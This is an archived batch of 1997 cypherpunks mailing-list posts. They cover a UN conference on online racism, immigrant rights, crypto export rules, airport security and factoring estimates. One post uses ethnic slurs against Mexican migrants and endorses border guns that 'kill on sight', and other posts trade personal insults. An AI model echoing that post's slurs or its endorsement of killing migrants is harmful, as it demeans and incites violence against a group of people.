From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Wed, 19 Nov 1997 11:51:31 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <3.0.16.19971118231543.0dc79284@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:22 PM 11/18/97 -0500, Declan McCullagh wrote:
>[Forwarded with permission, first few grafs deleted by request. --Declan]
>
>Date: Mon, 17 Nov 1997 10:40:22 -0800 (PST)
>From: Margarita Lacabe <marga@derechos.org>
>Subject: UN Conference
>
>[The lineup from the conference]

        Without reviewing the list, these are all people from NGOs,
non-governmental organizations. They speak for no one but their
organizations if then. These people are no more representative of what they
might claim than is David Duke or Simon Wiesenthal. 

        Rather where it the public outrage at UN money being wasted on
giving self-important assholes a platform to promote their agendas? 

-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Wed, 19 Nov 1997 11:46:03 +0800
To: "William H. Geiger III" <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <3.0.16.19971118231927.0dc71f6e@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:53 PM 11/18/97 -0600, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----

>I think that there is plenty of case law of extending constutional
>protections to non-citizens. One that comes to mind were the rulings
>against California inwhich the courts ruled the they were obligated to
>provide schooling and social services to illegal aliens (a really fucked
>rulling IMNSHO but if some good can come out of it no sense not making use
>of it).

        In a much more fundamental sense, if they were not given
constitutional protections they really could be rounded up and bussed
across the border. 


-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 19 Nov 1997 14:03:27 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v0310280cb0981af490ec@[207.167.93.63]>
Message-ID: <199711190555.AAA16015@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0310280cb0981af490ec@[207.167.93.63]>, on 11/18/97 
   at 11:39 PM, Tim May <tcmay@got.net> said:

>By the way, this massive purchase of votes is now being rolled back.
>Immigration is planning to reverse many of these "instant citizenship"
>deals. Too late to have an effect on Clinton's '96 election, but nothing
>could have saved Dole.

I'll have to agree with you there, Dole '96 was dead right out of the
gate.

I was actually thinking more along the lines of the Dornan Campagne. So
many non-citizens were voting in that election it brought back fond
memories of the politics of Chicago.

Chicago the most democratic city in the world even the dead get to vote,
twice!! :=0

BTW does anyone know what ever happend with Dornan's challenge to the last
election?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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WQL9TaS5916vSHGjfy88RGsgD9FjH2NWUKINzPMweIDv8fRgSjzq6tqcHovbaHbE
iqWIK0RN5pBVaHs9E8yr9SD8ufDKWVhyccAQ7WcQjtroj5k9/hm12ZgyxkJb1b8w
A6E8oCIZYhE=
=fH2Q
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hayden@phoenix.net
Date: Wed, 19 Nov 1997 14:15:34 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <199711190555.AAA16015@users.invweb.net>
Message-ID: <3472827B.61E1@phoenix.net>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
>

>
> BTW does anyone know what ever happend with Dornan's challenge to the last
> election?
>


He lost.
Rumor has it he is going after it again but we will see.
Woody Jenkins case was rough too and he lost .
No telling what Woody will do.

Genie





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Nov 1997 16:36:42 +0800
To: Bill Stewart <cypherpunks@Algebra.COM
Subject: Flight 800 and our Civil Liberties
In-Reply-To: <v03102802b09795d84b18@[207.167.93.63]>
Message-ID: <v0310280fb0984329032c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:11 AM -0700 11/19/97, Bill Stewart wrote:

>One of the parts that's irked me most about this (as distinct from
>outrage at the loss of civil liberties) is that the thugs won't even
>come out and say "The Government Requires You To Have Papers To Travel",
>since they can't do that, at least without PR problems.
>Instead they bully the airlines into requiring more obedience to
>avoid arbitrary $10,000 FUD penalties than a direct law could require.
>And the airline employees keep telling me "it's always been this way"
>a couple of weeks after each change of the rules.

"We have _always_ been at war with Eastasia."

I've also noticed that the drones who work for the airlines have even less
common sense and humor than before. Any hint of a nonstandard answer
results in a stern look and perhaps a trip to Security.

I was picking up a boarding pass for a flight from San Diego to San Jose,
and truthfully answered "Yes" to the usually perfunctory "Have any of your
bags been out of your sight?"

The drone gave me a stern look, as if I were admitting to being a
terrorist, and immediately marched me toward the Security station. (I
almost chose to remain behind, but that just would've resulted in armed men
escorting me into a small room for some amount of interrogation, and no
ticket back to San Jose.)

The drone asked me, as we were walking, to explain further. I pointed to
the restrooms and said, "The stalls are too small for my bags, so I hung
one of the bags on the hooks provided."

She said, "Well,  I don't think that's what we mean by a bag leaving your
sight. But you're supposed to take the bag into the stall with you."

"Look, lady, maybe the women's restrooms are laid out differently, but the
men's restrooms have stalls that are barely wide enough to get into, let
alone carry a piece of carryon luggage into as well."

She was clearly puzzled and befuddled by a passenger-unit actually telling
the obvious truth that some large fraction of passengers just lie about....

She conferred with the security droids for several minutes, as I was told
to stand off in an empty area of the terminal. I just stood there calmly.

She told me to follow her back to the boarding area. She handed me a
boarding pass without another word being said.

I suppose a negative remark was placed in my permanent file.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: axlotl <axlotl@rigel.infonex.com>
Date: Wed, 19 Nov 1997 16:55:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: ITAR
In-Reply-To: <19971119010002.15815.qmail@nym.alias.net>
Message-ID: <19971119004532.37050@rigel.infonex.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713753.multipart/signed"

--Boundary..3986.1071713753.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

On Wed, Nov 19, 1997 at 01:00:02AM -0000, lcs Mixmaster Remailer wrote:
> If someone writes a piece of software, a networking layer, or anything else
> with support for later cryptographic enhancement but doesn't actually
> include the cryptographic implementation and it is later added by somebody
> outside of the United States does this fall under ITAR? 

Crypto exports have been governed (for the most part) by the EAR, not
ITAR, for about 11 months now. The EARs can be found at 15 CFR 730 et seq.

> In other words the original U.S. authors wrote the software with support for
> crypto, function hooks, etc. They didn't include any crypto at all. Somebody
> outside the United States uses these hooks and writes strong cryptography.
> These modifications are kept as patches and never exported from the U.S.. Is
> this allowed?

No. Software designed or modified to use cryptography is export controlled;
see ECCN 5D002 in 15 CFR part 744.

> What if the U.S. authors are actively collaborating with the
> non-US authors?

See 15 CFR 744.9, "Restrictions on Technical Assistance by US Persons With 
Respect to Encryption Items":

(a) General prohibition

No U.S. person may, without a license from BXA, provide technical assistance
(including training) to foreign persons with the intent to aid a foreign
person in the development or manufacture outside the United States of
encryption commodities and software that, if of United States origin, would
be controlled for"EI" reasons under ECCN 5A002 or 5D002. Note that this
prohibition does not apply if the U.S. person providing the assistance has a
license or is otherwise entitled to export the encryption commodities and
software in question to the foreign person(s) receiving the assistance. Note
in addition that the mere teaching or discussion of information about
cryptography, including, for example, in an academic setting, by itself would
not establish the intent described in this section, even where foreign persons
are present.

 ---

 also, see the definition of "technology" in 15 CFR 772 -

 "Technology". (General Technology Note)-- Specific information necessary for
 the "development", "production", or "use" of a product. The information takes
 the form of "technical data" or "technical assistance". Controlled "technology"
 is defined in the General Technology Note and in the Commerce Control List
 (Supplement No. 1 to part 774 of the EAR).

      N.B.: Technical assistance--May take forms such as instruction, skills
      training, working knowledge, consulting services.

      Note: "Technical assistance" may involve transfer of "technical data".

 "Technical data".--May take forms such as blueprints, plans, diagrams, models,
 formulae, tables, engineering designs and specifications, manuals and
 instructions written or recorded on other media or devices such as disk,
 tape, read-only memories.


-- 
axlotl@cyberpass.net


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 19 Nov 1997 15:02:40 +0800
To: cypherpunks@toad.com
Subject: It seemed like a good idea at the time...
Message-ID: <34728C50.35BE@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



It was a pretty simple plan.
First, I stripped naked and painted myself blue. Then, I stood on my
head and started sending posts to the CypherPunks list.
Soon, I would be declared 'The Craziest Fucker on the InterNet' and be
the host of talk-shows across the nation. Letterman, Leno, Springer--
they would all be begging for my presence on their programs.

Little did I realize that my outrageous, insane offerings would be
trumped, time and time again, by seemingly average folks who held
down 'day jobs' in the heart of the mainstream computer industry.
Despite the widespread media coverage given to the homeless people who
wander the streets of America, babbling nonsensically to all who will
listen, as a result of the government abandoning the funding of homes
for the mentally ill and turning them out into the street...the media
is obviously ignoring the 'success stories' of those who have managed
to work their way into the heart of the computer industy, advancing 
their corporate status by mandating compliance with offically approved
vaporware, and substituting membership in the CypherPunks mailing list
for their previous mind-distorting medications.

If it wasn't for Bill Stewart and Bill Frantz constantly referring to
me as 'that *normal* guy', I "could'a been a contend'a."

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Wed, 19 Nov 1997 09:07:25 +0800
To: cypherpunks@Algebra.COM
Subject: ITAR
Message-ID: <19971119010002.15815.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



If someone writes a piece of software, a networking layer, or anything else
with support for later cryptographic enhancement but doesn't actually
include the cryptographic implementation and it is later added by somebody
outside of the United States does this fall under ITAR? 

In other words the original U.S. authors wrote the software with support for
crypto, function hooks, etc. They didn't include any crypto at all. Somebody
outside the United States uses these hooks and writes strong cryptography.
These modifications are kept as patches and never exported from the U.S.. Is
this allowed? What if the U.S. authors are actively collaborating with the
non-US authors?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Wed, 19 Nov 1997 15:24:20 +0800
To: nobody@neva.org (Neva Remailer)
Subject: Re: Overcoming War by Making Friends
In-Reply-To: <199711182118.PAA27868@dfw-ix3.ix.netcom.com>
Message-ID: <199711190717.BAA00880@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> Anonymous <nobody@replay.com> wrote:
> Consider the benefit that the prevention of World War I would have
> brought the world.  Millions of people would not have died before

	I don't consider this a benefit. 

> their time.  Millions of other people would not have lead lives after
> the war of dejection and sorrow either due to their own direct
> involvement in the war or that of their friends and relatives.

	There would have been something else to cause them sorrow and 
dejection. 
	Then think of the thinks that we aquired during WW1. Weren't 
sulfates invented during that war? Also advances in Metallurgy and 
avaition. 

> Communism would probably not have arisen sparing the lives of
> millions.
	
	Communism was already around. IIRC Mr. Marx wrote his manifesto
during the 1800's.
	
> World War II would probably not have occurred again sparing the lives
> of millions.

	And sparing us from further development in the areas of Aviation,
and medicine as well as radio & cryptography. Weather predection &etc. 

> We would be living in a far wealthier and more peaceful world.

	Doubtful. If those millions had survived, and reproduced, then 
there would me more people to share somewhat limited resources. Also,
WWII gave us the GI Bill, which allowed many people who otherwise wouldn't
have had the funds or time to persue college educations. It also was a 
major factor in the womens liberation movement. 

> Here I am afraid we disagree.  The world has too many damned leaders!

	Nope. Not enough. Not until everyone is there own leader will
we have enough leaders. 

> Finally, your perception that there is an "emphasis on violence,
> killing, and death" is not accurate.  What is the cypherpunk body
> count?  Last I checked it was zero.  Out of the thousands of people

	I think attila & Jim Choate might have racked up a few. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Wed, 19 Nov 1997 15:38:36 +0800
To: whgiii@invweb.net (William H. Geiger III)
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <199711190422.XAA14960@users.invweb.net>
Message-ID: <199711190733.BAA00949@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> >Interesting.  I was under the opinion that schooling and "social
> >services" were no more constitutional rights then, say, free food or a
> >pot to piss in.
> Well I have done some more research on this.
> Seems that there is a SC decision in Plyler v Doe 1982 in which the courts
> have ruled that a child (citizen or not) has the *right* to public
> education. This comes out of a Texas case not too differnt from Prop 187
> in California.

	The 2 problems I have are (1) Citizen implies that one is a member 
of a political division such as a state at some level. If you want to live
in a free world you have to give up citizenship as a requirement for anything. 
and (2) Education, of ANYONE, properly carried out will generate more of 
value FOR society than not educating, and one could with very little intellect
see how NOT educating people costs society.

	As to wether the state should provide financial support for schools,
well that is another matter.

	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)"Bob O'Booey" <a-hole@dev.null>
Date: Wed, 19 Nov 1997 11:09:41 +0800
To: cypherpunks@toad.com
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <199711190258.DAA27799@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mr. Geiger writes:

>I think that there is plenty of case law of extending constutional
>protections to non-citizens. One that comes to mind were the rulings
>against California inwhich the courts ruled the they were obligated to
>provide schooling and social services to illegal aliens (a really fucked
>rulling IMNSHO but if some good can come out of it no sense not making use
>of it).

But that applied to non-citizens on US soil. IIRC, it removed the 
distinction between "good aliens" (i.e., those who had green cards) and
"bad aliens" where availability of services was concerned.

I don't think non-citizens who aren't on US soil have any particular
protection under US law. They can bring a lawsuit against the US or a US
entity, but I think that's about it (cf. Jim Choate's posting of the
relevant Constitutional sections).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Wed, 19 Nov 1997 12:21:28 +0800
To: cypherpunks@toad.com
Subject: Jeffery Dahlmer Finds Work!
Message-ID: <1tzU059/BRC8uxMk5ipazA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



* United Hospital in St. Paul, Minn., announced in May that it was
looking for someone to take over curating its collection of more
than 14,000 human hearts, each stored in a plastic bag and the
collection featuring specimens of nearly every kind of heart disease. 
Dr. Jesse Edwards, who started the collection and is now 85 years
old, is retiring, and says maintenance of the hearts by a staff of five
costs $650,000 a year.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Herngaard <pethern@inet.uni2.dk>
Date: Wed, 19 Nov 1997 11:29:57 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03007802b09803dce3d1@[168.161.105.216]>
Message-ID: <Pine.3.89.9711190431.A11416-0100000@inet.uni2.dk>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 18 Nov 1997, Declan McCullagh wrote:

> Sorry. I was unclear. I was comparing U.S. citizens with citizens of
> another country who are living in that country.
> 
> If a U.S. citizen living in the U.S. is running an ISP, I would argue from
> principle that he has a right to distribute writings (I like Jeanne's
> bookstore analogy) penned by citizens of another country.
But would the goverment under existing law have a right to force
the publisher  to disclose the real identity of the one who wrote the 
inflamatory message to a foreign goverment?
Does the application of bilateral treaties the United States has with 
other countries require dual criminality i.e. child pornography, piracy, 
fraud etc?
 Most speech that would be considered hate speech in Europe would not 
meet the prerequirement of dual criminality.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 19 Nov 1997 13:03:24 +0800
To: cypherpunks@toad.com
Subject: Nonookie Matsurbatshi's final offer...
Message-ID: <199711190452.FAA12475@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger wrote:
> 
> * News of the Weird reported in 1994 on the controversy over who
> owned the world's largest cow hairball

> In the course of his work at a local beef plant,
> Canchola plucks out the non-championship hairballs, dries them,
> has colleague Frank Alcala paint faces or scenery on them, and sells
> them for $50 each.

For more details: http://misty.com/chop_chop.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 19 Nov 1997 13:18:18 +0800
To: cypherpunks@toad.com
Subject: Is Tim May a 'felon' under these laws? / Re: Banned smells
Message-ID: <199711190457.FAA13446@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote: 
> At 7:51 PM -0700 11/18/97, TruthMonger wrote:
> >Having judges, or government officials, go sniff the feedlot apparently
> >would give insufficient due process of law; rather, a panel of
> >sniffers will develop objective standards on the types of odors and
> >their strength.

>  Here in the People's Republic of Kalifornia, some areas have
> been declared "fragrance free." It's a crime to enter these fragrance-free
> zones with banned smells.

  This would explain the cancellation of all flights between DC and
Kalifornia.
  Why didn't Tim May perform a 'citizen's arrest' in Stanford? Failure
of nerve, or offsetting penalties? (Punt, Tim, punt!)

NotThatI'mATroubleMakerMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 19 Nov 1997 20:14:54 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03102805b09803760c07@[207.167.93.63]>
Message-ID: <Pine.SUN.3.94.971119065534.4102B-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 18 Nov 1997, Tim May wrote:

> It's time to "Just Say No" to the U.N. The John Birch Society makes more
> sense every day.

US out of the UN and UN out of the US.

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Wed, 19 Nov 1997 19:13:06 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <3.0.16.19971119064203.0b9f46a8@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:27 PM 11/18/97 -0600, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----

>In <3.0.16.19971118231927.0dc71f6e@pop.mindspring.com>, on 11/18/97 
>   at 11:34 PM, Mikhael Frieden <mikhaelf@mindspring.com> said:

>>At 06:53 PM 11/18/97 -0600, William H. Geiger III wrote:
>>>-----BEGIN PGP SIGNED MESSAGE-----

>>>I think that there is plenty of case law of extending constutional
>>>protections to non-citizens. One that comes to mind were the rulings
>>>against California inwhich the courts ruled the they were obligated to
>>>provide schooling and social services to illegal aliens (a really fucked
>>>rulling IMNSHO but if some good can come out of it no sense not making use
>>>of it).

>>        In a much more fundamental sense, if they were not given
>>constitutional protections they really could be rounded up and bussed
>>across the border. 

>And this would be a BadThing(TM)??

        It would be a good thing. 

        But the former was postulating civil rights to medical care and such. 

        I mentioned constitutional rights. Once they are here they here
they are entitled to a fair trial before being kicked out. And as to bail,
if they are illegally here, what is possibly the risk of flight? To Mexico?
Is not that the point? 

        That is why the INS gives them a trial date and releases them as
they must be treated as right-protected citizens. And the objection to
release is fleeing juristidiction under the law. It is a Catch-22. 

        Cheech being born in East LA to the contrary not withstanding. The
movie protested reality after it was gone. (If it was Chong, the facts do
not change.) 




-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Nov 1997 21:47:09 +0800
To: cypherpunks@toad.com
Subject: Re: [cpe:4707] Re: Exporting crypto from Japan
In-Reply-To: <199711190552.OAA16422@eccosys.com>
Message-ID: <5J1ege22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito <jito@eccosys.com> writes:

> At 21:21 97/11/18 -0700, Tim May wrote:
> > At 4:43 PM -0700 11/16/97, Joichi Ito wrote:
> >
> > >who also have domestic political strength. Also, I looked into the
> "Chobetsu"
> > >that you refered to in a previous message and I think you are refering
> to the
> > >"Naikaku Chosashitsu Betsushitsu" which is the group that engages in the
> often
> > >rather shady "super-legal" actions like stamping out political parties and
> > >going after cults. I don't think they have any direct involvement in the
> > >current
> > >RSA issue and I wouldn't call them "Japan's NSA." They are more like some
> > >kind of secret police. (I can already image the kind of messages I'm
> going to
> > >receive on this list for engaging with you at this level of dialog, but fo
> > ...
> >
> > As I said earlier, Richelson's comprehensive study of foreign intelligence
> > agencies describes it as Chobetsu, as does Hersh. Perhaps there is an issue
> > of transliteration here?
> >
>
> Tim... Interesting. It sounds like the same organization I am talking about,
> but I didn't know it was part of the defense force. I will ask a few experts
> and back back to you if I find out more.

Once again, Ito-san demonstrates that he's an ignorant uneducated buffoon,
on par with the pathologial liar Charlie Platt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Wed, 19 Nov 1997 20:09:36 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Ryan's eternity DDS (Re: technical issues of the list)
In-Reply-To: <199711182158.VAA01101@server.test.net>
Message-ID: <199711191203.HAA16737@the-great-machine.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.ul> writes:
> Ryan Lackey <rdl@mit.edu> writes:
> > I'm pretty sure all 5 years fit on one cd-rom -- I've been using 4
> > years as an eternity dds dataset, along with some other stuff, and I
> > think it is less than 500mb, although one of the problems with my
> > current eternity file system under linux is that there is no way of
> > telling how big a directory is (yay VFS kludges).
> 
> Sounds like you are building a file system interface to a distributed
> data store, cool.  Want to give us a brief description of what it does?
> I know I'd be interested, I'm sure others would too.
> 
> Adam

I've mostly just used postgres, a db, for doing database stuff, and kludged
together a disgusting collection of kernel patches and usermode processes to
make data appear as a directory structure in a modified version of the
ext2fs (actually, most if it is in the VFS level as it should be, but I didn't
know enough about it when I started to cleanly separate the two.  Oh well).

It's not distributed, it's not reliable, it's not secure.  It's just me 
learning
how to play with virtual file systems.  And unfortunately most of the code 
is stolen from commercial/proprietary software, so I can't really release it.

My current Eternity DDS plan is to have a linux file system and an http
interface to the data store up in the first incarnation.  I'm at the stage
of playing with technology for the interface layer, and having a vaguely
workable plan for inter-server communication.  Once I have something which
can be demonstrated, I'll post an announcement to the technical people who
would be interested.

I've entered the Eternity DDS idea into a MIT-sponsored new business
competition, etc.

My current Eternity homepage is at http://sof.mit.edu/eternity/, although
it's rather sparse.
-- 
Ryan Lackey
rdl@mit.edu
http://mit.edu/rdl/		






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter trei" <ptrei@hotmail.com>
Date: Wed, 19 Nov 1997 23:32:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Factor a 2048 bit number
Message-ID: <19971119151527.7288.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>Someone styling themselves as "Monty Cantsin" writes:

>This number is the product of two large primes:
>[big number deleted]

>Yet, I believe that an enterprising individual will be able to factor 
>it.
>Monty Cantsin

If your belief has any basis in reality, I'd like to hear what it
is. Schneier gives estimates for factoring 2048 bit numbers using
both the General Number Field Sieve and the Special Number Field
Sieve. SNFS is by far the fastest, and with that it would take
4*10^14 MIPS-years.

All of the computer power expended in the RSA Symmetric Key 
Challenges (DES, RC5-56, etc) up to this point amount to, 
generously, 10^7 MIPS-years. This is only one forty-millionth 
of power needed.

It's been said that 'Those who will not do arithmetic are doomed
to speak nonsense.' You are proving the truth of this.

RSA has a substantial prize for factoring much smaller numbers. It's
estimated, for example, that RSA-155 (about 512 bits), could be
factored in 500,000 MIPS-years.

Peter Trei
ptrei@hotmail.com
  


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Wed, 19 Nov 1997 19:47:33 +0800
To: Tim May <whgiii@invweb.net>
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <3.0.16.19971119072643.0b9f333e@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:39 PM 11/18/97 -0700, Tim May wrote:
>At 9:58 PM -0700 11/18/97, William H. Geiger III wrote:
>
>>Well at one time there was a demand for cheap labor by US industry that
>>supported the infux of immagrents. In modern times their is no such demand
>>( if there were we have plenty of bums on welfare that can fill this need)
>
>This is actually not the case. I live between Santa Cruz and Salinas and
>Monterey, home to some of the most fertile soil in the world (most of the
>lettuce, strawberries, artichokes, and other vegetables consumed in the
>U.S. is/are grown within 30 miles of me). Every day I see stoop laborers,
>up from Jalisco or Michuchan or other provinces, glad to make more in a few
>months here than they make in a few years back in Mexico.
>
>And every day I see bums, drifters, winos, layabouts, and derelicts,
>holding up their pathetic "Will work for food" signs. (Which are lies, of
>course. Anyone trying to get some decent work out of these bums will find
>zilch.)
>
>I saw a great bumper sticker on the back of a truck filled with spray
>painting gear. Driven by a black guy, interesting enough. It said:
>
>"I _do_ work for food." 

        Which is precisely the issue. The US was and is dedicated to people
who will do what they can without restriction. 

        I'll take 38 wetback greasers who will work and escort every bum to
the Mexican border and be proud to call those beaners Americans. (Did I
overdo the namecalling?)

        Just because those folks south of the border get their jollies
producing a dozen kids does not obligate me in the least. If they produce
productive people, fine. If they once show up in the frigging welfare line,
I'll show them the way to Mexico City not San Jose. 

        ONLY if they HATE welfare and public services are they welcome. If
there were such a filter at the border that worked both ways I would have it. 

        This is not pie in the sky platitudes. We do not live in the sky.
This is reality. It is real nasty down here. Wishes are not fact. Piety
ain't jack shit. 

        I appreciate the woman's desire for the best treatment for her
child at the moment of birth. But for the long term, if they like the US
system so damned much let them institute it in Mexico. 

        If they want the benefits of the US system them duplicate it in
Mexico. Do not ever pretend to wanting the best of both worlds where you
can have two digit offspring in Mexico and the US has to pay for it. 

        We need to get the message to them, that if you can't keep your fly
shut and your legs crossed the US is not liable for your prurient
interests, period, next question, over. 

        We do not give a rat's ass how many Vatican approved babies you
produce. your recourse is not in the US. If their damned economic system
will not support them, that is not the responsibility of the US and do not
really give a rat's ass if there are automatic weapons that kill on sight
at the border. 

        The US did not create Mexico's problems, Mexico did. If they need
guns to correct it, they know where to get them. If they like the Mexican
system (and we know they do) and want to use the US, reload those border
guns. 

>>but there is a demand for cheap votes. The current Statest have been
>>watching their power base erroding over the years as more and more
>>Americans refuse to beleive thier socialist lies. The only way that they
>>can continue in power is to import new voters who are easier to hoodwink
>>and cheaper to buy. Confermation of this policy can be seen in the
>>behavior of the INS durring the last election cycle where large numbers of
>>immigrants were naturalized before the elections.

>By the way, this massive purchase of votes is now being rolled back.
>Immigration is planning to reverse many of these "instant citizenship"
>deals. Too late to have an effect on Clinton's '96 election, but nothing
>could have saved Dole.

        Fornicate Dole and the elephant he rode in on. 

        The vote needs be a quid pro quo other than birth and living. 



-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Wed, 19 Nov 1997 19:52:59 +0800
To: Tim May <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <3.0.16.19971119073427.0e3f00ec@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:52 PM 11/18/97 -0700, Tim May wrote:
>At 10:17 PM -0700 11/18/97, Colin A. Reed wrote:

>>I think the most important constitutional protection is that of
>>due-process.  Thus we need to have a court proceeding to determine that
>>they really are in the US without a valid visa before we can bus them out.

>It's called a "Green Card," popularly.

>(Remember those, "Aliens, remember that you must report to the Alien
>Landing Terminal every January.")

>No court proceeding is needed to deport illegal aliens, save for a
>perfunctory classification hearing to determine whether or not they have a
>Green Card.

        "Minor" point here. They are required to return on the hearing date
after arrainment. 

        Would you care to guess just how many illegals appear for the
hearing? 

        Can you tell the difference between legals and illegals? and if so
how?

-=-=-
The difference between Wiesenthal and Zundel is the latter does not charge
$90,000US a year to use his name. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Rose <ggr@qualcomm.com>
Date: Wed, 19 Nov 1997 05:51:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: export restictions and investments
In-Reply-To: <v03102801b0978b70d918@[207.167.93.63]>
Message-ID: <199711182137.IAA05520@avalon.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
>At 5:44 AM -0700 11/18/97, Jyri Kaljundi wrote:
>>How do the US export restrictions affect investments into non-US crypto
>>companies? Is it legal for US private persons or companies to invest money
>>into companies developing strong crypto applications for example in
>>Europe?
>
>And a U.S. company could not export expertise to a foreign site to avoid
>the export laws (ITARS, now EARs). Thus, RSA could not send Rivest and
>others to Estonia to develop s/w to bypass U.S. export laws. (In a sense,
>Rivest is non-exportable.)
 
There are also special rules about "weapons of
mass destruction" in the Wassenaar Arrangement
rules, and also I think in other US regulations.

These make interesting reading -- any form of aid
to someone developing nuclear weapons, chemical
